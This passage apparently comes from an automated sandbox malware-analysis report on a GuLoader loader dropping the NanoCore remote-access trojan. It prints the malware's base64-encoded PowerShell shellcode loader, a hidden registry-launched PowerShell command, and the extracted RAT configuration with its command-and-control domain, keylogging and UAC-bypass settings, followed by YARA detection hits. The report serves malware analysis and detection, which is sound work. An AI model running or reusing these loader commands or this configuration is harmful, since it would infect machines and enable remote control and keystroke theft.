DQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAGEAbABrAHYAcgBrADQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAbABlAHYAZQBmAG8AZABlAG4AZAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHQAcgBiAGUANAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAEkATgBFAE4ARABFAFMASwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHAAZQBhAGsAZQBhAHMAeQBjADgAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATQBVAFMASwBVACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEIAcgBhAG4AZABzAGwAdQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBBAGQAZABpAGIAbABlAGQAZQBzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFAAaABvAGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBpAGcAaAB0AHcAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBUAGoAZQBuAGUAcwB0AGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASABpAGcAaAB3AGEAeQBtAGEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwBwAGQAYQB0AGUAcgBpACIAIAANAAoAWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAVwAoACQAUwBsAHUAZAByAGUAYwBoADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 4724 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kar5iszo.cmdline MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 6032 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA6F8.tmp" "c:\Users\user\AppData\Local\Temp\CSC12B2DF4544A1496EA7EB89E07B3D3FC6.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

CasPol.exe (PID: 3064 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

dslmon.exe (PID: 7328 cmdline: "C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7016 cmdline: "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 2568 cmdline: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 6968 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAcABpAGwAdABzAHQAIABPAG0AcwBvAHIAZwBzAGMAZQAgAFAAcgBlAGwANgAgAGIAYQByAHMAawBhAGIAZQBzAG4AIABNAGUAdABhAHQAaABlACAAVABlAGwAZQB2AHMAbgBlAHQAcwA2ACAAUwBtAGEAbABzADcAIABCAE8ATwBTAFQARQBSAEkAIABtAGkAcwBtACAAUABJAE4AUwAgAFQAbgBkAGUAaAB2AGwAMQAgAHMAawByAGkAdgAgAE8AdgBlAHIAIAB1AG4AcAByAG8AcABhAGcAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEgAaQBsAGQAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAGkAZQByAGkAZAAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADMAPQAwADsADQAKACQAUwBsAHUAZAByAGUAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBsAHUAZAByAGUAYwBoADgAPQBbAFMAbAB1AGQAcgBlAGMAaAAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACMAcwBvAGcAbgBlACAAcwBhAG4AZwAgAE4AWQBUAFYAQQBOAEMAIABSAGkAbABsAGUAdABwAHIAbwA4ACAAcABvAHAAdQBsAGEAcgAgAGIAaQBsAGwAZQBkAG0AIABsAHMAZQBwAHIAbwBjACAAYwBvAG4AcwB0AGEAbgAgAFMAdQBiAHQAZQAgAEkAbABzAGEAYgBlAHQAOQAgAGgAdQBsAGsAeQBuAGEAcAAgAGIAZQB2AHIAdABlAHIAZQBuACAAUwBpAGQAZQB2AGkAIABNAGEAcwB0ACAARQBuAHMAbwBtADEAIABVAG4AZABlAHIAcwBjAGEAbABlADEAIABUAHIAeQBrAGsAZQByAGkAbAAgAEkAZABvAGwAaQBzAGUAcgBpADEAIAByAGUAZAB1ACAAdQBuAGQAdgBpAGcAZQBtAGEAbgAgAEQAZQBmAGUAIABLAE4ATwBDAEsATwBVACAAUwBsAHYAZQBzAHQAZQBzACAATgBvAG4AYgBlACAAUgBlAGEAcgBiAGkAdAByAGEAdAAgAGMAbwByAGIAZQBpAGwAcwBkAG8AIABzAGEAbgBkAHMAeQBuAGwAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBlAGsAcgBlAHQAZQByACIAIAANAAoAJABTAGwAdQBkAHIAZQBjAGgAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwAVABSAEkAQwBBAC4AZABhAHQAIgANAAoAIwBlAGYAdABlAHIAIABEAHUAcABwAGUAdABmAG8AcgA1ACAAQwBhAHIAZgB1ADEAIABzAHUAcgBlAG4AZQAgAEEARgBTAEkARwAgAGEAcgBpAGsAYQByAGEAcABlAHIAIABQAEkARwBFAE8ATgBIAE8ATABFACAASABvAHYAZQBsAGUAIABTAG0AZQBsAHQAZQAgAG0AZQBsAGUAbgBhACAAVQB0AGEAawAzACAARwBMAE8AUgBJAEUATgBTACAAQwBvAG4AYwBpAG8ANQAgAA0ACgAkAFMAbAB1AGQAcgBlAGMAaAA0AD0AWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAFMAbAB1AGQAcgBlAGMAaAAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAEIAdQBtAGIAZQByAHMAaABvAG8AIABVAG4AZgBsADMAIABVAG4AcwBhAGMAcgBhADUAIABPAHAAaAB0AGgAYQBsACAAQgByAGEAdAB0AGkAbgAyACAAUABZAFQASABPACAASABlAHIAbQBlAGQAcAA4ACAATAByAGUAcgAyACAAdgBhAHIAcAAgAFEAdQBhAGQAdwBvACAATwB2AGUAcgB0AGgAcgBvADIAIABBAHIAbQBlAG4AaQBhAGEAcgByADMAIABIAGEAbAB2ADQAIABDAHIAdQBuAGsAbABlAHAAZQBuADQAIAByAGUAcwBwAGkAcgAgAFMATQBVAEsASwBFAFMAVABJAFYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEMAYQByAGMAaABhAHIAbwAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADUAPQAwADsADQAKACMAUABhAHIAcwA5ACAAUwBVAFAAUABPAFIAVABBACAARABKAEEARQBWAEUATABTAEsAQwAgAFAAUgBPAEMARQBSAEUATQBPACAATABvAHIAaQBjAGEAZQBwAHIAZQAgAGcAdQByAHIAcwAgAGQAZQBnAHIAYQAgAGwAaQB0AHUAcgBnAGkAZQBzACAAUABBAEEAVABBAEcARQAgAFUAbgByAGUAcAB1AGwAcwAgAFUAbgBhAGMAYwBlAHAAdABhACAASwBlAGwAbAA3ACAAVwBhAGcAZwBsAGUAcwB1AGQAZwAgAE0AZQBnAGEAbABvAHIAbgBpAHQAIABjAG8AbQBwAHUAIABCAFUARABTACAAQgByAG8AbwBkAHkAYQBzAHQAcgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwB2AGUAcgB0AHIAYQBtAHAAbAAiACAADQAKAFsAUwBsAHUAZAByAGUAYwBoADEAXQA6ADoAUgBlAGEAZABGAGkAbABlACgAJABTAGwAdQBkAHIAZQBjAGgANAAsACQAUwBsAHUAZAByAGUAYwBoADMALAA1ADQANwAzADEALABbAHIAZQBmAF0AJABTAGwAdQBkAHIAZQBjAGgANQAsADAAKQANAAoAIwBNAHUAcwBpAGMAcgB5AGIAdQAgAEQATwBLAFUATQAgAEIARQBTAEsAIABjAG8AYQBnAHUAbABvAG0AIABuAG8AbgBzAHkAcwB0AGUAIABQAFIARQBDAEUAUgBUAEkARgAgAFMAYQBiAGIAYQB0AGEAIABwAHUAbgBkAGsAdQByACAAQwBoAGwAbwAgAEwAbwBlAHMAZQAyACAASABhAHYAbgBlAGYAbwAzACAATQBlAHQAYQAxACAAaQBzAGIAYQBhAGQAcwBoAGEAIABUAHIAYQBjAGgAeQBjAGEAIABIAEUAUgBSAEUARwAgAEwAQQBOAEQAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFoAZQBhAGwAOQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAGEAbABrAHYAcgBrADQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAbABlAHYAZQBmAG8AZABlAG4AZAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHQAcgBiAGUANAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAEkATgBFAE4ARABFAFMASwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHAAZQBhAGsAZQBhAHMAeQBjADgAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATQBVAFMASwBVACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEIAcgBhAG4AZABzAGwAdQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBBAGQAZABpAGIAbABlAGQAZQBzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFAAaABvAGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBpAGcAaAB0AHcAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBUAGoAZQBuAGUAcwB0AGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASABpAGcAaAB3AGEAeQBtAGEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwBwAGQAYQB0AGUAcgBpACIAIAANAAoAWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAVwAoACQAUwBsAHUAZAByAGUAYwBoADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 5456 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3rumnuxb.cmdline MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 4836 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD7.tmp" "c:\Users\user\AppData\Local\Temp\CSCB1B043D375E64A49ADE1599E795DF7E1.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

CasPol.exe (PID: 5544 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

CasPol.exe (PID: 192 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

CasPol.exe (PID: 8172 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

CasPol.exe (PID: 7664 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

dslmon.exe (PID: 6720 cmdline: "C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 2624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://onedrive.live.com/download?cidO"}

Threatname: NanoCore

{"Version": "1.2.2.0", "Mutex": "9bd83597-93e4-4366-8889-6a4efb8a", "Group": "2022", "Domain1": "tochukwu1122.ddns.net", "Domain2": "127.0.0.1", "Port": 1122, "KeyboardLogging": "Enable", "RunOnStartup": "Enable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n  <RegistrationInfo />\r\n  <Triggers />\r\n  <Principals>\r\n    <Principal id=\"Author\">\r\n      <LogonType>InteractiveToken</LogonType>\r\n      <RunLevel>HighestAvailable</RunLevel>\r\n    </Principal>\r\n  </Principals>\r\n  <Settings>\r\n    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n    <AllowHardTerminate>true</AllowHardTerminate>\r\n    <StartWhenAvailable>false</StartWhenAvailable>\r\n    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n    <IdleSettings>\r\n      <StopOnIdleEnd>false</StopOnIdleEnd>\r\n      <RestartOnIdle>false</RestartOnIdle>\r\n    </IdleSettings>\r\n    <AllowStartOnDemand>true</AllowStartOnDemand>\r\n    <Enabled>true</Enabled>\r\n    <Hidden>false</Hidden>\r\n    <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n    <WakeToRun>false</WakeToRun>\r\n    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n    <Priority>4</Priority>\r\n  </Settings>\r\n  <Actions Context=\"Author\">\r\n    <Exec>\r\n      <Command>\"#EXECUTABLEPATH\"</Command>\r\n      <Arguments>$(Arg0)</Arguments>\r\n    </Exec>\r\n  </Actions>\r\n</Task"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000000.266464354998.0000000001300000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000025.00000000.268221853538.0000000000F00000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x23cef:$a: NanoCore 0x23d48:$a: NanoCore 0x23d85:$a: NanoCore 0x23dfe:$a: NanoCore 0x23d51:$b: ClientPlugin 0x23d8e:$b: ClientPlugin 0x2468c:$b: ClientPlugin 0x24699:$b: ClientPlugin 0x1ba62:$e: KeepAlive 0x241d9:$g: LogClientMessage 0x24159:$i: get_Connected 0x15d21:$j: #=q 0x15d51:$j: #=q 0x15d8d:$j: #=q 0x15db5:$j: #=q 0x15de5:$j: #=q 0x15e15:$j: #=q 0x15e45:$j: #=q 0x15e75:$j: #=q 0x15e91:$j: #=q 0x15ec1:$j: #=q
00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x49a85:$a: NanoCore 0x49ade:$a: NanoCore 0x49b1b:$a: NanoCore 0x49b94:$a: NanoCore 0x5d23f:$a: NanoCore 0x5d254:$a: NanoCore 0x5d289:$a: NanoCore 0x76223:$a: NanoCore 0x76238:$a: NanoCore 0x7626d:$a: NanoCore 0x49ae7:$b: ClientPlugin 0x49b24:$b: ClientPlugin 0x4a422:$b: ClientPlugin 0x4a42f:$b: ClientPlugin 0x5cffb:$b: ClientPlugin 0x5d016:$b: ClientPlugin 0x5d046:$b: ClientPlugin 0x5d25d:$b: ClientPlugin 0x5d292:$b: ClientPlugin 0x75fdf:$b: ClientPlugin 0x75ffa:$b: ClientPlugin
00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x23cef:$a: NanoCore 0x23d48:$a: NanoCore 0x23d85:$a: NanoCore 0x23dfe:$a: NanoCore 0x23d51:$b: ClientPlugin 0x23d8e:$b: ClientPlugin 0x2468c:$b: ClientPlugin 0x24699:$b: ClientPlugin 0x1ba62:$e: KeepAlive 0x241d9:$g: LogClientMessage 0x24159:$i: get_Connected 0x15d21:$j: #=q 0x15d51:$j: #=q 0x15d8d:$j: #=q 0x15db5:$j: #=q 0x15de5:$j: #=q 0x15e15:$j: #=q 0x15e45:$j: #=q 0x15e75:$j: #=q 0x15e91:$j: #=q 0x15ec1:$j: #=q
00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x49a85:$a: NanoCore 0x49ade:$a: NanoCore 0x49b1b:$a: NanoCore 0x49b94:$a: NanoCore 0x5d23f:$a: NanoCore 0x5d254:$a: NanoCore 0x5d289:$a: NanoCore 0x76223:$a: NanoCore 0x76238:$a: NanoCore 0x7626d:$a: NanoCore 0x49ae7:$b: ClientPlugin 0x49b24:$b: ClientPlugin 0x4a422:$b: ClientPlugin 0x4a42f:$b: ClientPlugin 0x5cffb:$b: ClientPlugin 0x5d016:$b: ClientPlugin 0x5d046:$b: ClientPlugin 0x5d25d:$b: ClientPlugin 0x5d292:$b: ClientPlugin 0x75fdf:$b: ClientPlugin 0x75ffa:$b: ClientPlugin
00000022.00000000.268214047867.0000000000E00000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 6132	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x3ad46:$sa2: -encodedcommand 0x44a27:$sa2: -encodedCommand 0x44a53:$sa2: -encodedCommand 0x44a81:$sa2: -encodedCommand 0x451ac:$sa2: -EncodedCommand 0x45ccd:$sa2: -EncodedCommand 0x45d68:$sa2: -encodedCommand 0xce497:$sa2: -encodedcommand 0x121a07:$sa2: -encodedcommand 0x1238c0:$sa2: -encodedcommand 0x1255b5:$sa2: -encodedcommand 0x127ab8:$sa2: -encodedcommand 0xb4a:$sb3: -windowstyle hidden 0xbb4:$sb3: -windowstyle hidden 0xc23:$sb3: -windowstyle hidden 0xf19:$sb3: -windowstyle hidden 0x1152:$sb3: -windowstyle hidden 0x11c1:$sb3: -windowstyle hidden 0x1a4a0:$sb3: -windowstyle hidden 0x1a588:$sb3: -windowstyle hidden 0x1a64e:$sb3: -windowstyle hidden
Process Memory Space: powershell.exe PID: 6968	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x498:$sa2: -encodedcommand 0x4fcb:$sa2: -encodedcommand 0x8f79:$sa2: -encodedcommand 0xaf11:$sa2: -encodedcommand 0xcde7:$sa2: -encodedcommand 0x1088a:$sa2: -encodedcommand 0x1277f:$sa2: -encodedcommand 0x1622b:$sa2: -encodedcommand 0x1a1ee:$sa2: -encodedcommand 0x1c18a:$sa2: -encodedcommand 0x1e06f:$sa2: -encodedcommand 0x22073:$sa2: -encodedcommand 0x24013:$sa2: -encodedcommand 0x25f61:$sa2: -encodedcommand 0x299fe:$sa2: -encodedcommand 0x2b8f3:$sa2: -encodedcommand 0x2f03d:$sa2: -encodedcommand 0x33060:$sa2: -encodedcommand 0x35004:$sa2: -encodedcommand 0x5382e:$sa2: -encodedcommand 0x55e5a:$sa2: -encodedcommand
Process Memory Space: powershell.exe PID: 7416	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x1981:$sa2: -encodedcommand 0x3c8e:$sa2: -encodedcommand 0x597d:$sa2: -encodedcommand 0x7924:$sa2: -encodedcommand 0xc502:$sa2: -encodedcommand 0xe4ce:$sa2: -encodedcommand 0x28ae2:$sa2: -encodedcommand 0x2b432:$sa2: -encodedcommand 0x2bf2a:$sa2: -encodedcommand 0x2dcd7:$sa2: -encodedcommand 0x2f9c6:$sa2: -encodedcommand 0x318c5:$sa2: -encodedcommand 0x4b519:$sa2: -encodedcommand 0x76221:$sa2: -encodedcommand 0x92e3c:$sa2: -encodedcommand 0x9bbfd:$sa2: -encodedcommand 0x9e0c3:$sa2: -encodedcommand 0xa021d:$sa2: -encodedcommand 0xa1fc7:$sa2: -encodedcommand 0xa3cb6:$sa2: -encodedcommand 0xa5bac:$sa2: -encodedcommand
Process Memory Space: CasPol.exe PID: 3064	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
